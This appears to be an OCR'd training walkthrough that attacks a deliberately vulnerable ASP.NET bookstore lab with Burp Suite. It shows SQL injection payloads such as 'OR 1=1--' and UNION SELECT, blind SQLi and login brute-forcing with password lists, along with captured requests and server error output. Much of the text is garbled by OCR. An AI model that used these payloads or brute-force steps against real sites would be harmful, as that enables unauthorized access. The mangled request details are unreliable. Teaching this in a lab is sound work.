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1. Injection:

SQL Injection:

® & https:// infosecaddicts.com/bookdetail.aspx

@ Books Forever [se]

SewKag Al of the tips, techniques, and examples presented revolve
% around users being able to surf merrily through a w test Releases & News

site with minimal cognitive strain. Readers wil
=l 6o July 21st, 2009
things work--we muddle
hard facts sets the stage
topnotch sites.

Advanced Search

Book name:

" based protocol to let
applications exchange information over
Author: HTTR
I s important for application
development to  allow  Intemet
communication between programs

Publication:

ISBN: June 22nd, 2005
NoTE: . Today's applications communicate: using
Search s & auth Pages: Remote Procedure Calls (RPC) between
by the first name ke DCOM and CORBA, but HTTP
. not designed for this. RPC
Price:

esents a compatibility and security
problem; firewalls and proxy servers wil
normally block this kind of traffic.

Buy Now

is supported by all I
servers. SOAP was created to accomplish
this.

Changing parameter value shows all books
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Server Error in '/' Application.

Unclosed quotation mark after the character string 'OR 1=1--'.
Incorrect syntax near 'OR 1=1--",

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SglClient.SalException: Unclosed quotation mark after the character string 'OR 1=1--".
Incorrect syntax near 'OR 1=1--".

Source Error:

Line 191:
Line 192:
Line 193:
Line 194:
Line 195:

SglDataAdapter myAd = new SqlDataAdapter("SELECT * FROM BOOKMASTER WHERE BOOKID=" + bookid, mycon);
DataSet dsResult = new DataSet();

myAd.Fill(dsResult);

return dsResult;

Source File: c:

Stack Trace:

\pp_Ci ice.cs Line: 193

[SqglException (0x80131904): Unclosed quotation mark after the character string 'OR 1=1--'".

Incorrect syntax near 'OR 1=1--'.])
System.Data.SglClient.SglConnection.OnError (SqlException exception, Boolean breakConnection, Action™1 wrapCloseInAction) +3306108
System.Data.SglClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
System.Data.SqglClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bull
System.Data.SglClient.SqglDataReader.TryConsumeMetaData() +90
System.Data.SglClient.SqlDataReader.get_MetaData() +99
System.Data.SglClient.SglCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInterna:
System.Data.SglClient.SglCommand.RunExecuteReaderTds (CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean asy:
System.Data.SglClient.SglCommand.RunExecuteReader (CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method,

System.Data.SglClient.SglCommand.Ru Reader (Comma ior vior,

vior runBehavior, Boolean returnStream, String method)

Bypassing Authentication:

Login here

User name:
Password:

Go

New User
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User name: ‘ori=1-
Password:

Go

New User

Username: 'or 1=1—
Password: 123

@ Books Forever

This is a template designed by free website templates for you
for free you can replace all the text by yeur cwn text. This is

Title L] Go

Advanced Search

Seve Kne Do not Make Me Think A A Guide to the Wireless
\pp  Common Sense Engineering Body of
Approach to Web - Knowledge by John

—ry
Usability by Steve Krug WRELSS WGHEIRNG  wiley & Sons
and Roger Black L

LI | 3
u‘—“’ | more detail

more detail

POFCHY

Parameter Manipulation:

Latest Releases & News

July 21st, 2009

This is a template
designed to explore
web services (SOAP)
attacks.

[| SOAP is a simple XML-
" based protocol to let
applications exchange information over
HTTR.

It s mportant  for  application
development to allow Internet

communication between programs

Juna 22nd. 2005
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# Host Method | URL | Para.. v | Edited | Status |Length | MIMEtype | Extension | Title Comment | SSL P
1 https://aspdotnetapp.infose...  GET /bookdetail.aspx?id=1 v 200 12948 HTML aspx Book Detail Page v 104.25.167.6
4 https://ekr.zdassets.com GET /compose/web_widget/infosecaddi... 404 910 text com v 104.18.74.11

< J
Request Response
Raw | Params THeaders THex ]

GET /bookdetail.aspx?id=1 HTTP/l.1l

Host: aspdotnetapp.infosscaddicts.com

uaser-agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10.13; rv:68.0) Geck.o/ZOlOOlDl Pirefox/68.0

Accept: text/html,application/xheml+xml,application/xml;q=0.9,*/*;g=0.

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connsction: close

Cookie: _cfduid=dc6020645650a793349b3b310daa03 ; _9a=GAl.2.781573113.1564954291; _ auc=4e20d75bléc5e988saliSblalaf;
__tawkoy 6 wVUKEPHORU+589KE £ 82 5600 LFQ+BQUYBKXACERR/ /1 :2; _ stripe_mid=b53fa35b-6250-4a04 -Bfe8-075c ToboaTaf;
_fbp=fb.1.1564955153850.41704 1806; _gid=Gal.2. "aszossﬁa 1565816579; _gat=l

Upgrade-Insecure-Requesats: L

Captured from proxy

Go to Repeater and alter the URL:

|1
Co

Request

Raw | Params T Headers THex ]

GET request to /bookdetail.aspx

Type | Name | Value | Add
URL id L |
Cookie __cfduid dc6029645e59a793349b3b819dae0... Remove
Cookie _ga GA1.2.781573113.1564954291 k—J
Cookie auc 4e20d75b16c5e988eal3Shlalaf

- u
Cookie __tawkuuid ezinfosecaddicts.com::AptkfxgFF6G... w
Cookie stripe_mid b53f835b-625c-4a04-8fe8-075c7h...

= = Down
Cookie _fbp fb.1.1564955153850.417041806 L—J
Cookie _gid GA1.2.768203859.1565816579
Cookie _gat 1
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Request

Raw | Params THeaders THex ]

GET request to /bookdetail.aspx

Type | Name | Value | Add
URL id ——
Cookie __cfduid dc6029645e59a793349h3b819dae0... Remove
Cookie _ga CA1.2.781573113.1564954291 L—J
Cookie auc 4e20d75b16c5e988eal35hlalaf

- U
Cookie __tawkuuid ezinfosecaddicts.com::AptkfxgFF6G... L—"J
Cookie stripe_mid b53f835b-625c-4a04-8fe8-075c7b...

— = Down
Cookie _fbp fb.1.1564955153850.417041806 ;J
Cookie _gid CA1.2.768203859.1565816579
Cookie _gat 1

Click “Go and Choose “Render” on the Response side:

Response

Raw | Headers THex HTML TRender ]

Server Error in '/' Application.

Unclosed quotation mark after the character string "',
Incorrect syntax near "',

Description: An unhandled exception occurred during the execution of the current web request.
Please review the stack trace for more information about the error and where it originated in the
code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the
character string ".
Incorrect syntax near ".

Source Error:

Line 191: SqlDataAdapter myAd = new SqlDataAdapter("SELECT * FROM BOOKMAS
Line 192: DataSet dsResult = new DataSet();

Line 193: myAd.Fill(dsResult);

Line 194: return dsResult;

Line 195: }

Source File: c:\inetpub\wwwroot\App_Code\BookService.cs Line: 193

e T
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SQL Injection Vulnerabilities: THE Union Operator:

Captured from “Proxy”:

# Host | Method | URL Para.. v|Edited |Status |Length |MIMEtype |Extension | Title

Comment |ssL | Ip
1 https:// infose. GET /bookdetail.aspx?id=1 v 200 12948 HTML aspx Book Detail Page v 104.25.167.6
4 https://ekr.zdassets.com GET Jcompose/web_widget/infosecaddi... 404 910 text com v 104.18.74.11
<C J

| Request | Response

| Raw | Params HeadersTHex

GET /bookdetail.aspx?id=1 HTTP/L.1

Host: aspdotnetapp.infosecaddicts.com

User-Agent: MozillafS5.0 (Macintosh; Intel Mac 0S5 X 10.13; rv: 63 0) Geck.o/leOOl.Dl Pirefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9, =0.

Accept-Languags: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

connection: cloae

Cookie: _ cfdoid=dc6029645e59a793349b3b819dae03f6e1564954288; _ga=GAl.2.781573113.1564954291; auc=4e20d75blécS5e988ealiSblalaf;
tawkouid=s::infosecad ta.com: : AptkfxgPFEGWh 88KETgS8wy HURU+589KE td 82 5wOcn £FQ+agNYEN. <4cBhA//‘ 12; __atripe_mid=b53£835b- 6254: -4a04-8fe8-075cTbbcaTcf;
“fbp=fb.1.1564955153850.41704 1806; _qid=GAl.2.768203859.156 79; _gat=l

Upgrade-Insecure-Regueata: L

Go to Repeater and alter the URL:
| x| ..

Co
Request
Raw | Params T Headers THex ]
GET request to /bookdetail.aspx
Type | Name | Value | Add
URL id L
Cookie __cfduid dc6029645e59a793349b3b819dae0... Remove
Cookie _ga GA1.2.781573113.1564954291
Cookie __auc 4e20d75b16c5e988eal35hlalaf Up
Cookie __tawkuuid einfosecaddicts.com::AptkfxgFF6G... ;J
Cookie __stripe_mid b53f835b-625c-4a04-8fe8-075¢c7b... Down
Cookie _fbp fb.1.1564955153850.417041806 ;J
Cookie _qgid GA1.2.768203859.1565816579
Cookie _gat 1

Add a Union SQL command:
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Request

| Raw I Params THeaders THex ]

GET request to /bookdetail.aspx

Type | Name | Value | Add

URL lid | UNION SELECT NULL-~-
Cookie __cfduid dc6029645e59a793349b3b819dae0... Remove
Cookie _ga CA1.2.781573113.1564954291 ;J
Cookie auc 4e20d75b16c5e988eal35hlalaf

— u
Cookie __tawkuuid ecinfosecaddicts.com::AptkfxgFF6G... L—DJ
Cookie stripe_mid bh53f835b-625c-4a04-8fe8-075c7b...

= = Down
Cookie _fbp fb.1.1564955153850.417041806 L—J
Cookie _gid CA1.2.768203859.1565816579
Cookie _gat 1

See Error Message and Code:

Response

Raw | Headers | Hex HTMLIRender]

HTTP/1l.1 500 Internal Server Error
Date: Thuo, 15 Rog 2019 01:47:36 GHMT
Content-Type: text/html; charaset=utf-8
connection: cloae

Cache-control: private
X-AapNet-Veraion: 4.0.30319
X-Powered-By: ASP.NET
Strict-Tranaport-Security: max-age=0
X-Content-Type-Optiona: noaniff
Expact-CT: max-age=6042800,
report-uri="httpa://report-vri.clovdflare.com/cdn-cgi/beacon/expact-ct"
Server: cloudflare

CP-RAY: 5067805£595038ad -ATL
content-Length: 5294

<{DOCTYPE html>
<html>
<head>
<title>Incorract syntax near the keyword 'UNION'.</title>
<meta name="viewport" content="width=device-width" />
<acript arc="/fcdn-cgifappa/head/ckgy0PiWGigdpuHUCHTwg3IBmMEZY . ja"></acript><atyle>
body {font-family:"verdana";font-weight:normal;font-siza: .7em;color:black;}
p {font-family: "verdana";font-weight:normal;color:black;margin-top: -Spx}
b {font-family: "vardana";font-weight:bold;color:black;jmargin-top: -Spx}|
H1 { font-family:"verdana";font-weight:normal;font-size:18pt;jcolor:red }
H2 { font-family:"verdana";font-weight:normal;font-size:l4pt;color:marcon }
pra {font-family:"consolas","Lucida
console" ,Monospace; font-size:1lpt;margin:0;padding:0.5am;line-haeight:14pt}
.markar {font-weight: bold; color: black;text-decoration: nonea;}
.varsion {color: gray;}
.arror {margin-bottom: 10px;}
.axpandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
Bmadia screen and (max-width: 639px) {
pre { width: 440px; overflow: avto; white-space: pre-wrap; word-wrap: break-word; }

Bmadia screan and (max-width: 479px) {
pra { width: 280px; }

<fatyle>
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Response

Raw | Headers THex THTML TRender ]

Server Error in '/' Application.

Incorrect syntax near the keyword 'UNION'.

Description: An unhandled exception occurred during the execution of the current web re
Please review the stack trace for more information about the error and where it originated
code.

Exception Details: System.Data.SqlClient.SqlException: Incorrect syntax near the keyword
'UNION'".

Source Error:

Line 191: SqlDataAdapter myAd = new SqlDataAdapter("SELECT * FROM
Line 192: DataSet dsResult = new DataSet();

Line 193: myAd.Fill(dsResult);

Line 194: return dsResult;

Line 195: }

Source File: c:\inetpub\wwwroot\App_Code\BookService.cs Line: 193
Stack Trace:

[SqlException (0x80131904): Incorrect syntax near the keyword '"UNION'.]

Blind SQL Injection:

Login here

User name:
Password:

Go

New User

Go to “Intruder”:
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Target [ Positions | Payloads | Options |

L?J Payload Positions l

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper vJ
FOST /login.aspx HTTF/L.L 2
Host: aspdotnetapp.infosscaddicts.com - [
user-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:68.0) Gecko /20100101 Firefox/68.0
nccept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;9=0.8 |
Accept-Language: en-US,en;g=0.5
nccept-Encoding: gzip, deflate
Refersr: httpa://aspdotnetapp.infoascaddicts.com/login.aapx |
Content-Type: application/x-www-form-urlencoded
Content-Length: 699 [
[Connection: cloase
[cookie: _ cfduid=dc6029645659a793349b3b819das03f6e1564954288; _ga=GAl.2.781573113.1564954291; _ avc=4e20d75bléc5e988ealiSblalaf;
__tawkovid=e::infosscaddicta.com: : AptkfxgFPFPECWh88KETQEEwvuKEPHURU +589KE td 82 5w0cn tFQ+agNYBMX4dcBhX//::12; __atripe_mid=b53f835b-625c-4a04 -8fe8-075cTbbcaTef;
_fbp=£fb.1.1564955153850.417041806; _gid=GAl.2.768203859.1565816579
Upgrade-Insscure-Reguesta: L
Cache-Control: max-age=0
_ EVENTTARGET=i__EVEWTARGUNENT=__ VIEWSTAT POwU LLTEXNOKWH ZAWOT IPGBYC S 99 kP QIC Aw kP QYCEWSPPQISBLE pe 2 11bGVOSEACCHBPPQIEAGhKEATLOXYCH91pbmS Lomh ObwwPO 1d 1
bonvbWUg33V1cI0gINOYAQUEX190b250cmYac Lale X! 00mF ja0t1sV0 £FgOFOMNObDARIGLiU2Vhe MIOBRR jdGwwHC Rp¥ 1N1YXJ JAERPTVhTUwURY 3 RaNDAKaRIOS Xd ZRWLh alw P IWNObDA JE
HvbnR1bnROLGF j8UhvbGR1c JEK b2dpbpS%2BIRPVG LpH ad00%2FhViGZHUEKSd bs2PEREbMXStE__VIEWSTATEGENERATOR=C 2EEJAEBEC £100%24 txtSearch=kct100%24 txtSearchDoM
X85=kct1l00%24dd1ladvsSearch=Titlekctl00%24 txtNewaEmail=kctl00%24ContentPlaceiolderl%2d txtUaer=1%2B0R+%2B1%301lkctl00%24ContentPlacedolder1%24 txtPaaa=123456kc
tl00%24contentPlacedolderl%24 ibLogin.x=21lkctl00%24ContentPlaceHolder1%2d ibLogin.y=7|

b

“Start Attack”

[Results ] Target A Positions 1 Payloads ] Options j

l Filter: Showing all items

Request Payload Status Error Timeout | Length Account number is valid.
2368 2364 200 U 33209 v

J
0 200 O ] 33208 LJ
1 0 200 O ] 33205 O
2 1 200 O ] 33205 g
3 2 200 O ] 33205 O
4 3 200 O ] 33205 O
5 4 200 O ] 33205 O
- 5 200 O ] 33205 O
7 - 200 O ] 33205 O
8 7 200 O ] 33205 O
9 8 200 O O] 33205 O
10 9 200 O O] 33205 O
11 10 200 O ] 33206 O
12 11 200 O ] 33206 O

When payload matches, it should work
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Welcome guest !

This is a template designed by free website templates for you
for free you can replace all the text by your ovn text. Thisis  ICEIEAEELELR A TN

just a place holder so you can see how the site would look like.

If

please den't

Title ~| LGe

Advanced Search

July 21st, 2009

Ths is a template

designed to explore
web services (SOAP)
attacks.

SOAP is a simple XML-

QeveKng DO ot Make Me Think A A Guide to the Wireless based protocol to let
Common Sense | L Engineering  Body  of applications exchange information over
Approach  to  Web | M Knowledge by John HTTR.
Usability by Steve Krug | | MERBSORBERNG wiley & Sons
and Roger Black B00Y OF KNOWLEDGE
e, =3 It is important for application
.| -’ more detail development  to allow Internet

more detail communication between programs

pOFCIae
June 22nd, 2005

Today's applications communicate using

2.Broke Authentication & Session Management:

Brute Force a Login Page:

Go to Login page:

User name:
Password:

Go

New User

Capture it in Burp’s Proxy & Send to Intruder:

10
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[ Target | proxy | spider | scanner | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

[1 T2 = I3 = Jiamsnl - )

Positions | Payloads | Options

Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details

Attack type: | Sniper

FOST /login.aspx WTTP/L.L 2 Adds

Host: aspdotnstapp.infosscaddicts.com »

User-Agent: Mozilla/5.0 (Macintosh; Intel Kac OS ¥ 10.13; rvi68.0) Gecko /20100101 Pirefox/68.0

text/heml,application/xheml+xml, application/xml;q=0.9,*/%;q=0. Clear §
s

i icta.com/login.aapx Auto §
Content-Type: application/x-www-form-urlencoded

Content-Length: 686 Refresh
Connection: close .
Cookie: _cfduid=dc6020645050a793349b3b819das03f6e1564954288; _ga=GAl.2.781573113.1564954291; . 820475b16c569880al35blalart;
__tawkooId=e::infosecaddicta.com: : Aptkfxg 83 3 a 825w0cn £FO+ag ; __stripe mid=bS3f835b-625c-4a04 -8fe8-075cTbbcaTef;
fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1143145789.1566082771; _gat=1

Upgrade-Insscurs-Reguesta: L

Accept-Encoding:
: httpa:

s _ _vr I g QIsB18pc21ibGUoscacCwEPPQIfAGhKEAIbOXYCH glpbmSlomh ObieFoLd 1
BGuvbi 98 3v1c 309THAYAQUeX 19 0b2 505md 3¢ LI le XVpemvabIn0ame 3a0t1sva £Fqal 1 (1N1¥X3 3 XdZRWLh 2w T
wvbnR1bnRALGE 38UhvbGR1C 1 082 FhV Gz 6KS4 b2 PEREbMXSEE ! 100824 100824 o
X55=£c £100824dd 1, itlsEc 100824 1=gctl laceHolder1$2d £xtuser=1236ctl laceHolder1$2d 2228l

Placenolderl324 ibLogin. x=15kc £10024ContentPlaceHolder 1524 ibLogin. y=12

Clear the pre-set payload and highlight “Username” and “Password” values:

[ Target T Positions T Payloads I Options ]

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

POST flogin.aspx HTTP/L.1l

Host: aspdotnetapp.infosecaddicts.com

User-aAgent: Mozilla/5.0 (Macintoash; Intel Mac 0S X 10.13; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;9=0.8

Accept-Language: en-Us,en;qQ=0.5

Accept-Encoding: azip, deflate

Referer: httpa://aspdotnetapp.infosecaddicta.com/login.aspx

Content-Type: application/x-www-form-vrlencoded

Content-Length: 636

Connection: cloas

Cookie: _ cfduid=dc6029645e59a793349b3b819dae03f6e1564954288; _ga=GAl.2.781573113.1564954291; _ auc=4e20d75bléc5e988ealls
__tawkovid=e::infosscaddicta.com: : AptkfxgFPPEGRhSEKETqSEwvukEPHURU+5E0KE £d825w0cn tPQ+agNYBHXdcBhX//::2; __ atripe_mid=bS
_fbp=fb.1.1564955153850.417041806; _gi AL 1143145789.1566082771; _gat=1l

Upgrade-Inascure-Requeata: 1

lalaf;
Sb-625c-4a04 -8f88-075c TbboaTef;

3 ET=E__] UMENT=E__VIEWRSTATE=%2FPwEPDwU LLTEXNOMwHZAwOT IPEBYCE g9 kP QICAwd kP gYCEmSPPgIeBlEpc21ibGVosGOCCwEPPQIfAGhKEATEOXYCHglpbmSlomh ObWwFOld1
bGuvbRY gE3V1c 30gIRDYAQUeX 190b250cmI ac Ldle XVpemvQb3n0omF ja0t1eva £FgQFOMNOb0AWIGLiU2VhemICBRR jdGwwHC Rp¥ IN1Y Xd JAERPTVhTUwU RY 3 RaDAkaRIOS Xd ZRWLh alwF IWNObDAWIE
WwbnR1bNROLGE j8UhvbGR1e JEKaRINb2d pbp5%2BIRPVG LpmBka6wsad00%2 Phv IGZNU6KSd bS2PEREbMxSEE __ VIEWSTATEGENERATOR=C 2EEIAPBEC £100%24 txtSearch=kc £100%24 txtSearchDod
X58=Ec£100%24dd 1advSearch=Titletct100%24 txtNewsEmail=kct100%24ContentPlacelolderl%24 txtUser=51235kct100%24ContentPlaceiolder 1924 txtPaaa=522225kc £100%24Con
tentPlaceHolderl%2d ibLogin. x=15kct100%24ContentPlacelolder1%24 iblogin.y=12

Go to “Payloads” tab and ensure that the Sets are ready to go:

11
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[Target T Proxy T Spider T Scanner Tlntruder T Repeater T Sequencer T Decoder TComparer T Extender T Project options
(1 2 3 4
| Target | Positions | Payloads IOptions ]

2| Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions t:
can be customized in different ways.

Payload set: |1 VJ Payload count: 8

Payload type: | Simple list B Request count: 0

L?) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste Admin

Adminl

Load ... Dave
User

Remove Pete »>
Paul

Oscar

Clear 3
Harrion

Add

Add from list ... [Pro version only]

[ Target I Proxy | Spider I Scanner T Intruder I Repeater I Sequencer T Decoder I Comparer I Extender ] Project options T User options I Alerts

Ll Jal

[ Target I Positions I Payloads I Options ]

2 Payload Set

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload ¢
can be customized in different ways.

Payload set: |2 v Payload count: 8
Payload type: | Simple list 2 Request count: 64
L?J Payload Options [Simple list

This payload type lets you configure a simple list of strings that are used as payloads.

Paste l@#$%

l@#$%A
Load ... 1@#SHAE
=) 1@#$HA&
'root
Remove »
L J | ssrv
$secure$

Clear
;J *3noguru

Add

Add from list ... [Pro version only]

Start Attack:

12



we are |everywhere
we are | attackRers
we are |defenders
we are |addicts

INnF SecAddic(ErSn

o0 Intruder attack 1
J Attack Save Columns

Iej Results T Target T Positions T Payloads T Options ]

=11

| Filter: Showing all items 2
Request & | Payloadl | Payload2 | Status | Error Timeout | Length | Comment fhp:
0 200 g g 13465 A
1 Admin 1@#$% 200 o @] 13467
2 Adminl 1@#$% 200 a a 13468
3 Dave 200 a a 13466
4 User 200 a a 13466
5 Pete 200 a (@] 13466 E
6 Paul 200 o O 13467
7 Oscar 200 a a 13467
8 Harrion 200 a a 13469
9 Admin 200 a g 13467
10 Adminl 200 o @) 13468
11 Dave 200 o O 13466
12 User 200 a a 13466 v
1 Pata q 2nn = 12466
« . J T
g
hi280of64 E |
User the one that is most successful and attempt it:
o0 e Intruder attack 1
Attack Save Columns
J Results ITargel ]Posi(ions T Payloads ]Op(ions ]
I Filter: Showing all items
Request Payloadl | Payload2 | Status | Error Timeout | Length | Comment
0 200 @] O 13465 [x]
1 Admin 1@#$% 200 @] a 13467
2 Adminl 1@#3% 200 a (@] 13468
3 Dave l@#$% 200 a (@] 13466
4 User l@#$% 200 a (@] 13466
5 Pete l@#$% 200 a (@] 13466
6 Paul l@#$% 200 a (@] 13467
7 Oscar l@#$% 200 a (@] 13467
8 Harrion @#3$% 200 @] (@] 13469
9 Admin 1@#$%A 200 o (@] 13467
10 Adminl 1@# $%A 200 o (@] 13468
11 Dave I@#SHA 200 o o 13466
12 User l@#$%A 200 o (] 13466
13 Pete l@#$%A 200 @] (] 13466 v
14 Daul 1@ CLA 2nn =1 =) 12466
Request | Response
[ Raw | Params T Headers T Hex | ViewState ]
|
POST request to /login.aspx |
Type | Name | Value
Body :VIEWSTATE JWEPDWULLTEXNDMwMzAWOTIPZBYCZg9kFgICAWIkFgYCBw8PFgleB1Z... 4
Body __VIEWSTATEGENERATOR C2EE9ABB
Body ctlo0StxtSearch
Body ctl00$txtSearchDOMXSS
Body ctl00$ddIAdvSearch Title
Body ctl00StxtNewsEmail
1| Body ctlo0$ContentPlaceHolder1$txtUser Admin w—
f| Body ctlo0$ContentPlaceHolder1$txtPass l@#$% w—
1 Body ctlo0$ContentPlaceHolder1$ibLogin.x 15
|| Body ctl00$ContentPlaceHolder1$ibLogin.y 12 v
|
| Body encoding: application/x-www-form-urlencoded |
|
l‘ Finished [ 8|
|

13



everywhere
attackers
defenders
addicts

In oSecAddiccgg

Bypass Authentication:
Performed same way as above in first section
Test Session Token Generation:

Go to Login:

User name:
Password:

Go
New User

Capture the information and send to Decoder:
| [(eseeps [ TP history | websockets history | Options |

[#) B Request to https:/ /aspdotnetapp.infosecaddicts.com:443 (104.25.166.6)
Forward Drop | Interceptison | Action
Raw | Params | Headers | Hex | viewstate

FOST /login.aspx HETE/L.1
Host: aspdotnetapp.infosecaddicts.com
User-Agent: Wozilla/5.0 (Macintosh; Intel Mac 0S X 10.13; rvi68.0) Gecko/20100101 Pirefox/68.0
Accept: text/heml, application/xheml+xml,application/xml;q=0.9,%/;g=0.8
: an-Us,en;g=0.5
qzip, deflate
aspdotnetapp. infosecaddicts.com/login. aspx
pplication/x-www-form-urlencoded
687

connection: close
Cookie: _cfduid=dc6029645659a793349b3b819das03£661564954288; _ga=0al.2.781573113.1564954291; _ auc=4620d75bl6c5e988ealisblalat;

__tawkuy :infosecaddicta.com: : AptkExg £dB25w0CN £PQ+agUYBKXACENX//::2; _ stripe_mid=b53£835b-625¢-4a04 -8£e8-075cTbbcaTef;
“Fbp=fb.1.1564955153850.41704 1806; _gid=0Al.2.1143145780. 1566082771
Upgrade-Insecure-Requests: 1

TeB18pc21ibGVosGACCwEPPQIEAGhkEATbOXYCHglpbmSlemh ObiwFD1d 1bGuvbiRY 98 3V1e IQaIRTAQY
*dzRi 1 3 1o 1

T
SX190b250cmac LT1c XVpemvObIN0QMF 3301V £P g 1 11¥x33
10032441, €180 £100%24 bxtNewaEmail=kc £100%24Contant

0% 3Gz _ = 100824 100324
PlaceHolderl$2d riskctll laceholderl$2d txtPasa=1234Lc£100%24Con tentPlaceHolder 1524 ibLogin. x=17kc £100524Con ten tPlac eHolder 1524 ibLogin. y=7
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j | HTTP history | websockets history | Options |

Lﬁ ) Request to https://aspdotnetapp.infosecaddicts.com:443 [104.25.166.6)
\ Forward J | Drop | | Interceptis on | Action
Raw | Params THenders THex ViewState 1

POST /login.aspx HTTP/L.1

Host: aspdotnetapp.infosecaddicts.com

User-Agent: Mozilla/S.0 (Macintosh; Intel Mac 08 x 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0
mccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8

accept-Language: en-Us,en;g=0.5

accept-Encoding: gzip, deflate

Referer: https://aspdotnetapp.infosscaddicts.com/login.aspx
Zontent-Type: application/x-www-form-urlencoded
content-Length: 685

Zonnection: cloae

id=dc6029645050a793349b3b8109daa0if

L ::infosecaddicta.com: : AptkfxgPPEGWhB8KBTQESwvukEP|  Send to Intruder %+~+l  |3tripe_mid=b53f835b-6250-da04-8fe8-075cThboalef;
fbp=fb.1.1564955153850.417041806; _gid=0Al.2.1143145789. 1566 N
Upgrade-Insscura-Requesta: 1 - Send to Repeater *+74R
Send to Sequencer

Send to Spider
1564954288; 7S5blécSed88ealiSblalaf;

__EVENTTARGET=&__ EVENTARGUMENT=E __VIEWSTATE=%2F®EPDwU LLTEXNON] e — ibGVOSGOCCWEPPQIfAGhKEAIbDXYCHalpbmSlemh ObwwF D 1d LbGNVbRU g8 3v1e IQgTWATAL
&¥X190b250emdac 1T1c XVpemvabIn0Qme ja0t1avd fFgQFOMNObDARIGLiu2Vh L aWJ08 Xd ZRWLh aWwP TRN0bDAWIENVbN R1bn ROBGF 38U hvbGR1e JEKaWINb2d pbpSS2BIRPVL

pMEke6wSad00%2FhV IGZHU 6K bS2PEREbMX5£E__VIEWSTATEGENERATOR=C [ RGN (g DOMXSS=Ec £100824dd 1AdvSearch=Titletc 100524 txtNewaEmail=Ec £100824Con ter
Placeolderl$2d txtuasr=Christctl00324contentPlaceholdsr1324tx  Requestin browser » |in.x=11Ect100%24ContentPlaceholder %24 ibLogin. y=8

Engagement tools [Pro version only) >
Change request method

Change body encoding

Copy URL
Copy as curl command
Copy to file
Paste from file
Save item
Don't intercept requests >
Do intercept >
Convert selection >
URL-encode as you type
Cut E++X
Copy #+~+C
Paste K+ HV
Message editor help

P2 lb<dbs > Proxy interception help 0

On the Decoder Tab attempt to guess the code choose options on the left:
[ Target | Proxy | spider | scanner [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

Hc6029645e59a793349b3b819dae03f6e1564954288

@ Text O Hex (2]

In this case there wasn’t anything negative to find, but this is how you would perform a
Session Token Test.

Test Session Token Handling:

Make sure Burp is setup for this task:

1. After checking to make sure the proxy is on, go to the “Target” “Scope” tab and
ensure that the target application is included in the scope.
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J Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]
[Si(e map | Scope

LZ) Target Scope
Lg) Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. The easiest way to configure scop
include or exclude URL paths.

() Use advanced scope control

L Add J Enabled Prefix
) https://aspdotnetapp.infosecaddicts.com/
Edit

Remove »
Paste URL
Load ...

L Add J Enabled Prefix
Edit
Remove »>
Paste URL
Load ...

2. Go the Scanner “Live Scanning” tab.
Ensure that the live passing scanning is enabled for the in-scope items.
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Burp Intruder Repeater Window Help

|V7Target TProxy ] 7Spiderw| Scanner lrlntruder TRepeater TSequencer Vereco

| Results ] Scan queue l Live scanning I Options |

the target.

) Don't scan

) Scan everything

) Use custom scope

(& Automatically scan the following targets as you browse. Passive scan cl

@® Use suite scope [defined in Target tab)

3. Go to the Scanner “Options” tabl.

Select the appropriate scanning areas you want Burp to scan for various session token
handling issues, both actively and passively. In this case “Cookies”

>
L)

) These settings control the types of checks performed during passive sc:

(] Headers
(] Forms
(/] Links
(] Parameters
(] Cookies

(V] Server-level issues

(/] MIME type

(] Caching

(/] Information disclosure

(/] Frameable responses ("Clickjacking")
(] ASP.NET ViewState

Select all Select none |
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4. Walk through the application in the normal way from first access, through the login
process, and then through all of the application’s functionality. Every URL visited
can be view in the “HTTP history” table.

Target | Proxy | Spider [ Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

[[intercept | HTTP history | webSockets history | Options |

Re-enable

l Filter: Hiding CSS, image and general binary content &)
# Host | Method | URL | Para... v | Edited |Status | Length | MIMEtype |Extension | Title Comment |ssL | C

1 https://aspdotnetapp.infose... GET /bookdetail.aspx?id=1 v 200 12948  HTML aspx Book Detail Page v 104.25.167.6 N
5 https://aspdotnetapp.infose... POST [ /login.aspx v 200 13471 HTML aspx Login page v 104251676

24 htps://www.google-analytic... GET Jrjcollect?v=1& v=j7882a=119929.. v 302 1000 HTML 302 Moved v 17221716478

25 https://stats.g.doubleclick.net GET Jricollect?v=1&aip=1&t=dc&_r=3 v 302 979 HTML 302 Moved v 64.233.177.154

